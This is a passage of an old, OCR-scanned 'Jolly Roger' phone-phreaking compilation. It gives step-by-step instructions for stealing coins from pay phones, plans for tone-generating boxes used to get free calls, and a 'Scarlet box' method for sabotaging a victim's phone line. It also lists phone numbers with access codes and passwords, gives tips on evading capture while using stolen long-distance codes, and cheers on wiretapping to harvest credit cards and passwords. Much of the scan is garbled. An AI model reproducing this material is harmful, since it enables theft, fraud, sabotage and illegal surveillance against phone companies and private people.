What you want to disconnect is the wire supplying the codes to the telephone 
company so that the pay phone will not get the 'busy' or 'hang-up' command. 
Leave this wire disconnected when you discover it. 
What will happen: Anytime that someone puts any amount of money into the pay 
phone, the deposit will not register with the phone company and it 
will be held in the 'temporary' chamber of the pay phone. 
Then, (a day later or so) you just code back to the phone, reconnect the wire, 
and click the hook a few times and the phone will dump it all out the shute. 
(What is happening is that the ‘hangup’ code that the phone was not 
receiving due to the wire being disconnected suddenly gets the code and 
dumps its! 'temporary' storage spot.) 
You can make a nice amount of money this way, but remember 
that a repairman will stop by every few times it is reported broken and 
repair it, so check it at least once a day. 
Enjoy and have fun.. Many phones I have done this to, and it works 
well with each.. 

waren nn ec ene ne nee Jolly Roger 


Computer Based PBX Courtesy of the Jolly Roger 
(Originally an Apple J[ file for forgive the upper case!) 


TO GET A BETTER UNDERSTANDING OF WHAT A PBX CAN DO, HERE ARE A FEW 
BASIC 
FUNDAMENTALS.THE MODERN PBX IS A COMBINED COMPUTER,MASS STORAGE 
DEVICE, 
AND OF COURSE A SWITCHING SYSTEM THAT CAN: 
[1] PRODUCE ITEMIZED,AUTOMATED BILLING PROCEDURES,TO ALLOW THE 
IDENTIFICATION AND MANAGEMENT OF TOLL CALLS. [HAHAHA] 
[2] COMBINE DAYTIME VOICE GRADE COMMUNICATION CIRCUITS INTO 
WIDEBAND DATA CHANNELS FOR NIGHT TIME HIGH SPEED DATA 


TRANSFERS. 
[3] HANDLES ELECTRONIC MAIL [ INCLUDING OFFICE MEMOS ]. 
[4] COMBINE VOICE CHANNELS INTO A WIDEBAND AUDIO/VISUAL 

CONFERENCE CIRCUIT, WITH THE ABILITY TO XFER AND 

CAPTURE SLIDES,FLIPCHARTS,PICTURES OF ANY KIND. 
BOTH THE EXTERNAL AND INTERNAL CALLING CAPACITY OF THE PBX SYSTEM 
MUST BE 
CAREFULLY CONSIDERED BECAUSE MANY BUSINESS OPERATIONS RUN A VERY 
HIGH RATIO 
OF INTERNAL STATION TO STATION DIALING AND A LOW CAPACITY SYSTEM WILL 
NOT 
IANDLE THE REQUESTED TRAFFIC LOAD. 
A CRITICAL FACTOR IS THE NUMBER OF TRUNKS AND THE CENTRAL OFFICE 
FACILITIES 
THAT ARE USED FOR OUTSIDE CONNECTIONS.ANOTHER IS THE NUMBER OF 
JUNCTIONS OR 
LINKS] THAT MAKE UP THE INTERNAL CALLING PATHS. 
TO UNDERSTAND THE SERVICES AVAILABLE ON A TYPICAL COMPUTER RUN PBX 
ITIS 
NECESSARY TO INTRODUCE THE SUBJECT OF TIME DIVISION SWITCHING.IN A TIME 
DIVISION SWITCHING NETWORK ALL CONNECTIONS ARE MADE VIA A SINGLE 
COMMON BUS 
CALLED (OF COURSE) A 'TIME-DIVISION BUS'.EVERY LINE TRUNK THAT REQUIRES 
A 
CONNECTION WITH ANOTHER IS PROVIDED WITH A PORT CIRCUIT.ALL PORT 
CIRCUITS 
HAVE ACCESS TO THE TIME DIVISION BUS THROUGH A TIME DIVISION SWITCH. 
[WHEN TWO PORTS REQUKRE CONNECTION,THEIR TIME DIVISION SWITCHES 
OPERATE AT 
A VERY HIGH FREQUENCY (16,000 TIMES PER SECOND).THIS TECHNIQUE, WHICH IS 
CALLED 'SPEECH SAMPLING',ALLOWS MANY SIMULTANEOUS CONNECTIONS OVER 
THE SAME 
TIME DIVKSION BUS.EACH CONNECTION IS ASSIGNED A TIME INTERVAL,THE 'TIME 
SLOT’ 
,AND THE NUMBER OF TIME SLOTS IDENTIFIES THE NUMBER OF SIMULTANEOUS 
CONNECT- 
IONS AMONG PORTS. ] 
THE NEXT CRITICAL ITEM IS CIRCUIT PACKS.THE SYSTEM ELEMENTS THAT WE 
WILL BE 
DESCRIBING IN FUTURE TUTORIALS [LINES/TRUNKS/SWITCHES,MEMORY AND 
CONTROL] ARE 
CONTAINED ON PLUG IN CIRCUIT PACKS.EACH LINE CIRCUIT PACK CONTAINS A 
NUMBER 
OF LINES,IN EXAMPLE,FOUR.BUT THE ASSIGNMENT OF STATION NUMBERS TO 
ACTUAL 


PHONE LINE CIRCUITS IS FLEXIBLE. 
THE SYSTEM MEMORY IS CONTAINED IN CIRCUIT PACKS WHICH PROVIDE THE CALL 
PROCESSING FUNCTIONS. THE CIRCUIT PACKS ARE HELD IN SMALL FRAMES CALLED 
‘CARRIERS'.WITHIN EACH CARRIER,THE CIRCUIT PACKS ARE PLUGGED INTO 
POSITIONS: 
THE 'SLOTS\EVERY CIRCUIT CAN BE ADDRESSED BY,SAY A FIVE DIGIT NUMBER 
WHICH 
TELLS ITS LOCATION BY CARRIER-SLOT-CIRCUIT.... [STARTING TO GET THE IDEA] 
THERE CAN BE THREE TYPES OF CARRIERS IN A MODERN PBX SYSTEM: 
O LINE CARRIERS 
O TRUNK CARRIERS 
O CONTROL CARRIERS 
THE LINE CARRIERS CONTAIN STATION LINES.IN A.T.& T'S "DIMENSION" 
MODEL,FOR 
EXAMPLE,A TOTAL OF 52 TO 64 LINES ARE PROVIDED.THE TRUNK CARRIERS 
CONTAIN 
SLOTS FOR 16 TRUNK CIRCUIT PACKS.THE CONTROL CARRIER INCLUDES 
PROCESSOR, 
MEMORY,CONTROL CIRCUITRY,DATA CHANNELS FOR ATTENDANT CONSOLE 
CONTROL AND 
TRAFFIC MEASUREMENT OUTPUTS. 
PBX SYSTEMS WILL DIRECTLY REFLECT THE TYPES OF SERVICES OFFERED AT THE 
C.0, 
OCCSA 
OCCIS 
O PICTUREPHONES [SOONER THAN YOU THINK MY PHRIENDS] 
COMMON CONTROL SWITCHING ARRANGEMENTS ( CCSA ) PERMIT ANY 
UNRESTRICTED TELE- 
PHONE STATION TO CALL ANY OTHET INTERNAL OR EXTERNAL SYSTEM STATION 
BY USING 
THE STANDARD SEVEN DIGIT NUMBER.ALTERNATE ROUTING IS A FEATURE OF 
CCSA SERVICE 
THE INTERFACILITY,ALTERNATE ROUTED CALLING PATHS ARE ACCOMPLISHED AT 
THE TELE- 
PHONE COMPANY CENTRAL OFFICE LEVEL,NOT AT THE PBX LEVEL. 
A SYSTEM OF INTEREST TO LARGE SCALE TELEPHONE USERS IS COMMON CHANNEL 
INTER- 
OFFICE SIGNALLING (CCIS).TYPICALLY.THIS TECHNIQUE EMPLOYS COMMON 
CHANNELS TO 
CARRY ALL INTERFACILITY SIGNALLING INSTRUCTIONS: DIAL PULSES,ON HOOK 
(DLE), 
OFF HOOK (BUSY),AND SO ON,BETWEEN TWO SWITCHING CENTERS. [ GETTING 
WARM ]. 
CCIS REPLACES OLDER METHODS OF INTEROFFICE SIGNALLING SUCH AS ‘IN BAND! 
AND 


‘OUT OF BAND! TECHNIQUES. BY THE WAY,REAL PHREAKS ARE SELLING THEIR 
BOXES TO 

IDIOTS WHO STILL THINK THE'RE WORTH ALOT..THE FORMER (IN BAND) 
TRANSMITS 

SIGNALLING DATA WITHIN THE NORMAL CONVERSATION BANDWIDTH.IT'S 
SHORTCOMING IS 

THAT FALSE INFORMATION MAY BE TRANSMITTED DUE TO UNIQUE TONE OR NOISE 
COMBINATIONS SET UP IN THE TALKING PATH. [THIS IS THE OFFICIAL REASONING]. 
OUT OF BAND SIGNALLING TECHNIQUES PLACED THE INTEROFFICE DATA IN 
SPECIAL 

CHANNELS,GENERALLY ADJACENT TO AND IMMEDIATELY ABOVE THE VOICE 
PATH.TO PRE- 

SERVE INTERCHANNEL INTEGRITY,OUT OF BAND SIGNALLING REQUIRES VERY 
EFFECIENT 

FILTERING OR GREATER 'BAND GUARD' SEPERATION BETWEEN CHANNELS. 


Pearl Box Plans by the Jolly Roger 


The Pearl Box:Definition - This is a box that may substitute for many boxes 
which produce tones in hertz. The Pearl Box when operated correctly can 
produce tones from 1-9999hz. As you can see, 2600, 1633, 1336 and other 
crucial tones are obviously in its sound spectrum. 


Materials you will need in order to build The Pearl Box: 


C1, C2:.5mf or .Suf ceramic disk 
capacitors 

Q1....NPN transistor (2N2222 works 
best) 

S1.....Normally open momentary SPST 
switch 

82.....SPST toggle switch 

B1.....Standard 9-Volt battery 

R1.....Single turn, 50k potentiometer 


R2..... " "100k potentiometer 
R3.2h: "*  $00k potentiometer 
R4....." "  Imeg potentiometer 


SPKR...Standard 8-ohm speaker 

TL... Mini transformer (8-ohm works 
best) 

Misc... Wire, solder, soldering iron, PC 
board or perfboard, box to 


contain the completed unit, 
battery clip 


Instructions for building Pearl Box: 


Since the instruction are EXTREMELY difficult to explain in words, you will 
be given a schematic instead. It will be quite difficult to follow but try 
it any way. 


(Schematic for The Pearl Box) 
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Now that you are probably thoroughly confused, let me explain a few 
minor details. The potentiometer area is rigged so that the left pole is 
connected to the center pole of the potentiometer next to it. 

The middle termina! of T1 is connected to the piece of wire that runs down 
to the end of the battery. 


Correct operation of The Pearl Box: 


You may want to get some dry-transfer decals at Radio Shack to make this 
job a lot easier, Also, some knobs for the tops of the potentiometers 
may be useful too, Use the decals to calibrate the knobs. R1 is the knob 
for the ones place, R2 is for the tens place, R3 if for the hundreds 
place and R4 is for the thousands place. S1 is for producing the all the 
tones and S2 is for power. 
Step 1: Turn on the power and adjust the knobs for the desired tone. 

(Example: For 2600 hz- 

Ri=0:R2=0:R3=6:R4=2) 

Step 2: Hit the pushbutton switch and VIOLA! You have the tone. If 
you don't have a tone recheck all connections and schematic. 


went nn enenc enc eenes Jolly Roger 
The Phreak file courtesy of the Jolly Roger 


202 282 3010 UNIV. OF D.C. 

202 553 0229 PENTAGON T.A.C. 

202 635 5710 CATHOLIC UNIV. OF AMERICA 
202 893 0330 DEFENSE DATA NETWORK 
202 893 0331 DEFENSE DATA NETWORK 
202 965 2900 WATERGATE 

203 771 4930 TELEPHONE PIONEERS 
206 641 2381 VOICE OF CHESTER 

212 526 1111 NEW YORK FEED LINE 
212 557 4455 SEX HOT LINE 

212 799 5017 ABC NY FEED LINE 

212 934 9090 DIAL-AN-IDIOT 

212 976 2727 P.D.A. 

212 986 1660 STOCK QUOTES 

213 541 2462 STOCK MARKET REPORTS 
213 547 6801 NAVY SHIPS INFO 

213 5766061" " 

213 664 3321 NEWS FOR THE BLIND 

301 393 1000" " 

301 667 4280 LOTTERY INFO 

312 939 1600" " 

404 221 5519 NUCLEAR COMMISSION 
408 248 8818 1ST NAT'L BANK 

415 642 2160 EARTHQUAKE REPCRT 
505 883 6828" " 

512.472 2181" " 

512 472 4263 WIERD RECORDING 

$12 472 9833" " 

512 472 9941 INSERT 25 CENTS 

512 472 9941 SPECIAL RECORDING 

512 870 2345" " 

5167941707" ” 

619 748 0002 LOOP LINE 

619 748 0003" " 

703 331 0057 MCI (5 DIGITS) 

703 334 6831 WASH. POST 

703 354 8723 COMPEL INC. 

703 737 2051 METROPHONE = (6 DIGITS) 
703 835 0500 VALNET (5 DIGITS) 
703 861 7000 SPRINT (6/8 DIGITS) 

703 8619181 SPRINT (6/8 DIGITS) 


714 974 4020 CA. MAINFRAME 

716 475 1072 N.Y. DEC-SYSTEM 

800 222 0555 RESEARCH INSTITUTE 
800 223 3312 CITIBANK 

800 227 5576 EASTERN AIRLINES 

800 248 0151 WHITE HOUSE PRESS 
800 321 1424 FLIGHT PLANES 

800 323 3026 TEL-TEC = (6 GIGITS) 
800 323 4756 MOTOROLA DITELL 

800 323 7751 M.C.I], MAINFRAME 

800 325 4112 EASYLINK 

800 325 6397 F.Y.I. 

800 344 4000 MSG SYSTEM 

800 368 6900 SKYLINE ORDER LINE 
800 424 9090 RONALD REAGAN'S PRESS 
800 424 9096 WHITE HOUSE SWITCH 
800 438 9428 ITT CITY CALL SWITCHING 
800 521 2255 AUTONET 

800 521 8400 TRAVELNET (8 DIGITS) 
800 526 3714 RCA MAINFRAME 

800 527 1800 TYMNET 

800 621 3026 SPECIAL OPERATOR 
800 621 3028" " 

800 6213030" " 

800 6213035" ” 

800 631 1146 VOICE STAT 

800 821 2121 BELL TELEMARKETING 
800 828 6321 XEROX $ 

800 858 9313 RECORD-A-VOICE 

800 882 1061 AT&T STOCK PRICES 
9149971277" " 

916 445 2864 JERRY BROWN 

N/A 950 1000 SPRINT 

N/A 950 1022 MCI EXECUNET 

N/A 950 1033 US TELEPHONE 

N/A 950 1044 ALLNET (6 DIGITS) 
N/A 950 1066 LEXITEL 

N/A 950 1088 SKYLINE — (6 DIGITS) 


201-643-2227 | CODES:235199,235022 
| AND 121270 


800-325-4112 | WESTERN UNION 


800-547-1784 | CODES:101111,350009 
AND 350008 


800-424-9098 | TOLL FREE WHITE HS. 
800-424-9099 | DEFENSE HOT LINE 
202-965-2900 | WATERGATE 
800-368-5693 | HOWARD BAKER HOTLN 
202-456-7639 | REAGANS SECRETARY 
202-545-6706 | PENTAGON 

202-694-0004 | PENTAGON MODEM 
201-932-3371 | RUTGERS 

800-325-2091 | PASSWORD: GAMES 
800-228-1111 | AMERICAN EXPRESS 


617-258-8313 | AFTER CONNECT 
PRESS CTRL-C 


800-323-7751 | PASSWORD:REGISTER 


800-322-1415 | CODES:266891,411266 
AND 836566 

(USED BY SYSOP) 

The following 800 #'s have been 

collected however no codes have 

been found yet! if you hack any 

please let me know... 


800-321-3344 = | 2227222222? 
800-323-3027 | 2722722222? 
800-323-3208 | 2722272272? 
800-323-3209 | 2272772722? 


800-325-7222 | 2777727227? 
800-327-9895 | 22227222722 
800-327-9136 | 22222222722 
800-343-1844 | 2222227227? 
800-547-1784 | 2222777722? 
800-547-6754 | 227272722972 
800-654-8494 | 22227222272 
800-682-4000 | 7272722727? 
800-858-9000 | 22727722222 

800 #'s with carriers. 

800-323-9007 

800-323-9066 

800-323-9073 

800-321-4600 

800-547-1784 

1-800 numbers of the goverment. 
800-321-1082:NAVY FINANCE CENTER. 
800-424-5201:EXPORT IMPORT BANK. 
800-523-0677:ALCOHOL TOBACCO AND. 
800-532-1556:FED INFORMATION CNTR1-1082:NAVY FINANCE CENTER. 
800-424-5201:EXPORT IMPORT BANK. 
800-523-0677:ALCOHOL TOBACCO AND. 
800-532-1556:FED INFORMATION CNTR. 
800-325-4072: COMBAT & ARMS SERVICE. 
800-325-4095: COMBAT SUPPORT BRANCH. 
800-325-4890:ROPD USAR COMBAT ARMS. 
800-432-3960:SOCIAL SECURITY. 
800-426-5996:PUGET NAVAL SHIPYARD. 
Directory of toll free numbers. 
800-432-3960:SOCIAL SECURITY. 
800-426-5996:PUGET NAVAL SHIPYARD. 
Directory of toll free numbers. 

301-234-0100: BALTIMORE ELECTRIC, 
202-456-1414: WHITE HOUSE. 
202-545-6706:PENTAGON. 
202-343-1100:EPA. 
714-891-1267:DIAL-A-GEEK. 

714-897-551 1:TIMELY. 
213-571-6523:SATANIC MESSAGES. 
213-664-7664:DIAL-A-SONG. 
405-843-7396:S YNTHACER MUSIC. 
213-765-1000:LIST OF MANY NUMBERS. 
512-472-4263: WIERD. 

512-472-9941 INSERT 25. 
203-771-3930:PIONEERS. 


213-254-4914:DIAL-A-ATHIEST. 
212-586-0897:DIRTY. 

213-840-3971: HOROWIERD 

203-77 1-3930:PIONEERS 
471-9420,345-9721,836-8962 
836-3298,323-4139,836-5698 
471-9440,471-9440,471-6952 
476-6040,327-9772,471-9480 
800-325-1693,800-325-4113 

800-521-8400: VOICE ACTIVATED 
213-992-8282: METROFONE ACCESS NUMBER 
617-738-505 1:PIRATE HARBOR 
617-720-3600:TIMECOR #2 
301-344-9156:N.A.S.A PASSWORD:GASET 
318-233-6289:UNIVERSITY LOUISIANA 
213-822-2112:213-822-3356 
213-822-1924:213-822 3127 
213-449-4040:TECH CENTER 
213-937-3580: TELENET 

1-800-842-8781 

1-800-368-5676 

1-800-345-3878 

212-331-1433 

213-892-7211 

213-626-2400 

713-237-1822 

713-224-6098 

713-225-1053 

713-224-9417 

818-992-8282 

1-800-521-8400 

After entering the sprint code,and, C+Destination number.Then enter this: 
number:"205#977#22",And the main tracer for sprint will be disabled. 
215-561-3199/SPRINT LONG DISTANCE 
202-456-1414/WHITE HOUSE 
011-441-930-4832/QUEEN ELIZABETH 
916-445-2864/JERRY BROWN 
800-424-9090/RONALD REAGAN'S PRESS 
212-799-5017/ABC NEW YORK FEED LINE 
800-882-1061/AT & T STOCK PRICES 
212-986-1660/STOCK QUOTES 
213-935-1111/WIERD EFFECTS! 
2-472-4263/WIERD RECORDING 
212-976-2727/P.D.A. 

619-748-0002/FONE CO. TESTING LINES 
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900-410-6272/SPACE SHUTTLE COMM. 
201-221-6397/AMERICAN TELEPHONE 
215-466-6680/BELL OF PENNSYLVANIA 
202-347-0999/CHESAPEAKE TELEPHONE 
213-829-011 1/GENERAL TELEPHONE 
808-533-4426/HAWAIIAN TELEPHONE 
312-368-8000/ILLINOIS BELL TELEPHONE 
7-265-861 1/INDIANA BELL 
13-223-7233/MICHIGAN BELL 
3-223-7223/NEVADA BELL 
207-955-1111/NEW ENGLAND TELEPHONE 
201-483-3800/NEW JERSEY BELL 
212-395-2200/NEW YORK TELEPHONE 
515-243-0890/NORTH WESTERN BELL 
216-822-6980/OHIO BELL 
206-345-2900/PACIFIC NORTHWEST BELL 
3-621-4141/PACIFIC TELEPHONE 
205-32 1-2222/SOUTH CENTRAL BELL 
404-391-2490/SOUTHERN BELL 
203-771-4920/SOUTHERN NEW ENGLAND 
314-247-5511/SOUTHWESTERN BELL 
414-678-351 1/WISCONSIN TELEPHONE 
800-327-6713/UNKNOWN ORIGIN 
303-232-8555/HP3000 

315-423-1313/DEC-10 
313-577-0260/WAYNE STATE 

512-474-501 1/AUSTIN COMPUTERS 
516-567-8013/LYRICS TIMESHARING 
212-369-5114/RSTS/E 

5-327-5220/NEC 

13-795-1200/SHELL COMPUTERS 
18-471-8111/CNA OF NY 
800-327-6761/AUTONET 
800-228-1111/VISA CREDIT CHECK 
713-483-2700/NASUA 
213-383-1115/COSMOS 

408-280-1901/TRW 

404-885-3460/SEARS CREDIT CHECK 

4 

9 


WwW We Lo 


nN 


An & 


4-289-9988/AARDVARK SOFTWARE 
9-852-1482/ANDROMEDA INCORPORATED 
213-985-2922/ARTSCI 

4-627-9887/ASTAR INTERNATIONAL 
5-964-8021/AUTOMATED SIMULATIONS 
503-345-3043/AVANT GARDE CREATIONS 
415-456-6424/BRODERBUND SOFTWARE 


~~ 
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415-658-8141/BUDGE COMPANY 

4-755-5392/CAVALIER COMPUTER 

801-753-6990/COMPUTER DATA SYSTEMS 

213-701-5161/DATASOFT INC. 

3-366-7 160/DATAMOST 

716-442-8960/D YNACOMP 

3-346-6783/EDU-WARE 

800-63 1-0856/HA YDEN 

19-983-1990/MED SYSTEMS SOFTWARE 

12-433-7550/MICRO LAB 

206-454-1315/MICROSOFT 

301-659-7212/MUSE SOFTWARE 

209-683-6858/ON-LINE SYSTEMS 

203-66 1-8799/PROGRAM DESIGN (PDI) 

213-344-6599/QUALITY SOFTWARE 

303-925-9293/SENTIENT SOFTWARE 

702-647-2673/SIERRA SOFTWARE 

916-920-1939/SIRIUS SOFTWARE 

215-393-2640/SIR-TECH 

415-962-8911/SOFTWARE PUBLISHERS 

415-964-1353/STRATEGIC SIMULATIONS 

217-359-8482/SUBLOGIC COM. 

206-226-3216/SYNERGISTIC SOFTWARE 

Here are a few tips on how not to get caught when using MCI or other 

such services: 

1- Try not to use them for voice to voice personal calls. Try to use 

them for computer calls only. Here is why: 
MCI and those other services can't really trace the calls that 
come through the lines,they can just monitor them. They can 
listen in on your calls and from that,they can get your name and 
other information from the conversation. They can also call 
the number you called and ask your friend some questions. If 
you call terminals and BBS'S then it is much harder to get 
information. For one thing,most sysops won't give these dudes 
that call any info at all or they will act dumb because they 
PHREAK themselves! 
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3- Try to find a sine-wave number. Then use an MCI or other service 
to call it. You will hear a tone that goes higher and lower. If 
the tone just stops,then that code is being monitored and you 
should beware when using it. 
If you do get caught,then if you think you can,try to weasel out of it. 
I have heard many stories about people that have pleaded with the MCI 
guys and have been let off. You will get a call from a guy that has been 


monitoring you. Act nice. Act like you know it is now wrong to do this 
kind of thing.....just sound like you are sorry for what you did. (if you 


Red Box Plans by the Jolly Roger 


Red boxing is simulating the tones produced by public payphones when you 
drop your money in. The tones are beeps of 2200 Hz + 1700 Hz 

Nickle = 1 beep for 66 milliseconds. 

Dime = 2 beeps, each 66 milliseconds with a 66 millisecond pause between 
beeps. 

Quarter = 5 beeps, each 33 milliseconds with a 33 millisecond 

pause between beeps. 


There are two commonly used methods being used by Phreaks to make free calls, 
1, An electronic hand-held device that is made from a pair of Wien-bridge 
oscillators with the timing controlled by 555 timing chips. 

2. A tape recording of the tones produced by a home computer. One of 

the best computers to use would be an Atari ST. It is one of the easier 

computers to use because the red box tones can be produced in basic with only 
about 5 statments. 


ote eeneeeeeneneeenn Jolly Roger 


[ RemObS ] by the Jolly Roger 


Some of you may have heard of devices called Remobs which stands 
for Remote Observation System. These Devices allow supposedly 
authorized telephone employees to dial into them from anywhere, and 
then using an ordinary touch tone fone, tap into a customer's line 

in a special receive only mode. [The mouthpiece circuit is 
deactivated, allowing totally silent observation from any 

fone in the world (Wire tapping without a court order is against 

the law)] 


|__How Remobs Work | 


Dial the number of a Remob unit. Bell is rumored to put them in the 
555 information exchanges, oron special access trunks 

[Unreachable except via blue box]. A tone will then be heard 

for approximately 2 seconds and then silence. You must key in 

(In DTMPF) a 2 to 5 digit access code while holding each digit down 


at least | second. If the code is not entered within 5 or 6 seconds, 

the Remob will release and must be dialed again. If the code is 
supposedly another tone will be heard. A seven digit subscriber 

fone number can then be entered [The Remob can only handle certain 
‘exchanges’ which are prewired, so usually one machine cannot 
monitor an entire NPA]. The Remob will then connect to the 
subscribers line. The listener will hear the low level idle tone 

as long as the monitored party is on hook. As the monitored party 
dials [rotary or DTMF], the listener would hear [And Record] 

the number being dialed. Then the ENTIRE conversation, datalink, 
whatever is taking place, all without detection. There is no 

current box which can detect Remob observation, since it is being done 
with the telephone equipment that makes the connection. When the 
listener is finished monitoring of that particular customer, he keys 
the last digit of the access code to disconnects him from the 
monitored line and return to the tone so that he can key in another 

7 digit fone #. When the listener is totally finished with the Remob, 
he keys a single 'disconnect digit’ which disconnects him from the 
Remob so that the device can reset and be ready for another caller. 


[_History of Remobs | 


Bell has kept the existance of Remobs very low key. Only in 
1974, Bell acknowledged that Remobs existed. The device was 
first made public during hearings on "Telephone Monitoring Practices 
by Federal Agencies" before a subcommittee on government 
operations. House of Representatives, Ninety-Third Congress, June 
1974, 
It has since been stated by Bell that the Remob devices 
are used exclusively for monitoring Bell employees such as operators, 
information operators, etc., to keep tabs on their performance. 
(Suuureee, were stupid] 


[__Possible Uses for Remobs_] 

The possible uses of Remobs are almost as endless as the uses 
of self created fone line. Imagine the ability to monitor bank lines 
etc, just off the top of my head | can think of these applications: 


Data Monitoring of: 

TRW 

National Credit Bureau 

AT&T Cosmos 

Bank Institutions 

Compuserve and other Networks, 
Voice Monitoring of: 

Bank Institutions 


Mail Order buisnesses. 

Bell Telephone themselves. 

Any place handling sensitive or important information. 
_ Anyone that you may not like. 


With just one Remob, someone could get hundreds of credit cards, 
find out who was on vacation, get compuserve passwords by the dozens, 
disconnect peoples fones, do credit checks, find out about anything 
that they may want to find out about. Im sure you brilliant 
can see the value of a telephone hobbiest and a telecommunications 
enthusist getting his hands on a few choice Remobs. <Grin> 


[_ Caution ] 

If any reader should discover a Remob during his (or her) scanning 
excursions, please keep in mind the very strict federal laws 
regarding wiretapping and unauthorized use of private Bell property. 


woceeee ene nneeneee Jolly Roger 
Scarlet Box Plans by the Jolly Roger 


The purpose of a Scarlet box is to create a very bad conection, 
it can be used to crash a BBS or just make life miserable for those you 
seek to avenge. 
Materials: 2 alligator clips, 3 inch wire, or a resister 
(plain wire will create greatest amount of static) 
(Resister will decrease the amount of static in porportion to 
the resister you are using) 


Step (1): Find the phone box at your victims house, and pop the cover off. 
Step (2): Find the two prongs that the phone line you wish to box are 
connected to. 

Step (3): Hook your alligator clips to your (wire/resister). 

Step (4): Find the lower middle prong and take off all wires connected to 
it, i think this disables the ground and call waiting and shit like that. 

Step (5): Now take one of the alligator clips and attach it to the upper 
most prong, and take the other and attach it to the lower middle prong. 
Step (6): Now put the cover back on the box and take off!! 
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(**)= prongs 
7K 


(/) = (wire/resister) 
(##)= some phone bullshit 


wee nee ee en ern eee enn Jolly Roger 
Silver Box Plans by the Jolly Roger 


Introduction: 

First a bit of Phone Trivia. A standard telephone keypad has 12 buttons. 
These buttons, when pushed, produce a combination of two tones. These tones 
represent the row and column of the button you are pushing. 

111 


697 (1) (2) G3) 
770 (4) (5) (6) 
851 (7) (8) (9) 
941 (*) (0) 
So (1) produces a tone of 697+1209, (2) produces a tone of 697+1336, etc, 


Function: 


What the Silver Box does is just creates another column of buttons, 
with the new tone of 1633. These buttons are called A, B, C, and D. 


Usefulness: 


Anyone who knows anything about phreaking should know that in the 


old days of phreaking, phreaks used hardware to have fun instead of other 
people's Sprint and MCI codes. The most famous (and useful) was the good 


ol’ Blue Box. However, Ma Bell decided to fight back and now most phone systems 


have protections against tone-emitting boxes. This makes boxing just 
about futile in most areas of the United States (ie those areas with Crossbar 
or Step-By-Step). If you live in or near a good-sized city, then your phone 
system is probably up-to-date (ESS) and this box (and most others) 

will be useless, However, if you live in the middle of nowhere (no offense 
intended), you may find a use for this and other boxes. 


Materials: 
1 Foot of Blue Wire 
1 Foot of Grey Wire 
1 Foot of Brown Wire 
1 Small SPDT Switch (*) 
1 Standard Ma Bell Phone 
(*) SPDT = Single Pole/Double Throw 


1 Soldering Iron 
1 Flat-Tip Screwdriver 


Procedure: 

(1) Loosen the two screws on the bottom of the phone and take the casinf off. 
(2) Loosen the screws on the side of the keypad and remove the keypad from 
the mounting bracket. 

(3) Remove the plastic cover from the keypad. 

(4) Turn the keypad so that *0# is facing you. Turn the keypad over. You'll see 
a bunch of wires, contacts, two Black Coils, etc. 

(5) Look at the Coil on the left. It will have five (5) Solder Contacts 

facing you. Solder the Grey Wire to the fourth Contact Pole from the left. 

(6) Solder the other end of the Grey Wire to the Left Pole of the SPDT Switch. 
(7) Find the Three (3) Gold-Plated Contacts on the bottom edge of the keypad. 
On the Left Contact, gently seperate the two touching Connectors (they're 
soldered together) and spread them apart. 

(8) Solder the Brown Wire to the Contact farthest from you, and solder the 
other end to the Right Pole of the SPDT Switch. 

(9) Solder the Blue Wire to the Closest Contact, and the other end to the 
Center Pole of the SPDT Switch.(10) Put the phone back together. 


Using The Silver Box: 


What you have just done was installed a switch that will change 
the 369# column into an ABCD column. For example, to dial a 'B’, switch 
to Silver Box Tones and hit '6’. 

Noone is sure of the A, B, and C uses. However, in an area with an 
old phone system, the 'D' button has an interesting effect. Dial Directory 
Assistance and hold down 'D’. The phone will ring, and you 
should get a pulsing tone. If you get a pissed-off operator, you have a 
newer phone system with defenses against Silver Boxes, 

At the pulsing tone, dial a 6 or 7. These are loop ends. 


wrerenerene scenes, Jolly Roger 
Bell Trashing by the Jolly Roger 


The Phone Co. will go to extreams on occasions. In fact, unless 
you really know what to expect from them, they will suprise the heck 
out of you with their "unpublished tarriffs”, Recently, a situation 
was brought to my attention that up till then I had been totaly 
unaware of, least to mention, had any concern about. It involved gar- 
bage! The phone co. will go as far as to prosecute anyone who rumages 
through their garbage and helps himself to some 

Of course, they have their reasons for this, and no doubt benefit 
from such action. But, why should they be so picky about garbage? The 
answer soon became clear to me: those huge metal bins are filled up 
with more than waste old food and refuse... Although it is Pacific 
Tele. policy to recycle paper waste products, sometimes employees do 
overlook this sacred operation when sorting the garbage. Thus 
top-secret confidential Phone Co. records go to the garbage bins 
instead of the paper shredders. Since it is constantly being updated 
with "company memorandums, and supplied with extensive reference 
material, the Phone co. must continualy dispose of the outdated 
materials. Some phone companies are supplied each year with the 
complete "System Practices" guide. This publication is an over 40 
foot long library of reference material about everything to do with 
telephones. As the new edition arrives each year, the old version of 
"System Practices” must also be thrown out. 

I very quickly figured out where some local phone phreaks were 
getting their material. They crawl into the garbage bins and remove 
selected items that are of particular interest to them and their 
fellow phreaks. One phone phreak in the Los Angeles area has salvaged 
the complete 1972 edition of "Bell System Practices”. It is so large 
and was out of order (the binders had been removed) that it took him 
over a year to sort it out and create enough shelving for it in his 
garage. 

Much of this "Top Secret" information is so secret that most phone 


companies have no idea what is in their files. They have their hands 
full simply replacing everything each time a change in wording 
requires a new revision. [t seems they waste more paper than they can 
read! 

It took quite a while for Hollywood Cal traffic manager to figure 
out how all of the local phone phreaks constantly discovered the 
switchroom test numbers 

Whenever someone wanted to use the testboard, they found the local 
phone phreaks on the lines talking to all points all over the world. 

It got to the point where the local garbage buffs knew more about the 
office operations than the employees themselves. One phreak went so 
far as to call in and tell a switchman what his next daily assignment 
would be. This, however, proved to be too much, The switchman 
traced the call and one phone phreak was denied the tool of his trade. 

In another rather humorous incident, a fellow phreak was rumaging 
through the trash bin when he heard somone apraoching. He pressed up 
against the side of the bin and silently waited for the goodies to 
come. You can imagine his surprise when the garbage from the lunchroom 
landed on his head. Most people find evenings best for checking out 
their local telco trash piles. The only thing necessary is a 
flashlight and, in the case mentioned above, possibly a rain coat. A 
word of warning though, before you rush out and dive into the trash 
heap. It is probably illegal, but no matter where you live, you 
certainly won't get the local policeman to hold your flashlight for 
you. 

cre ene tere renee enee, Jolly Roger 


Canadian WATS Phonebook courtesy of the Jolly Roger 


800-227-4004 ROLM Collagen Corp. 
800-227-8933 ROLM Collagen Corp. 
800-268-4500 Voice Mail 
800-268-4501 ROLM Texaco 
800-268-4505 Voice Mai 
800-268-6364 National Data Credit 
800-268-7800 Voice Mail 
800-268-7808 Voice Mail 
800-328-9632 Voice Mail 
800-387-2097 Voice Mai 
800-387-2098 Voice Mail 
800-387-8803 ROLM Canadian Tire 
800-387-8861 ROLM Canadian Tire 
800-387-8862 ROLM Canadian Tire 
800-387-8863 ROLM Canadian Tire 
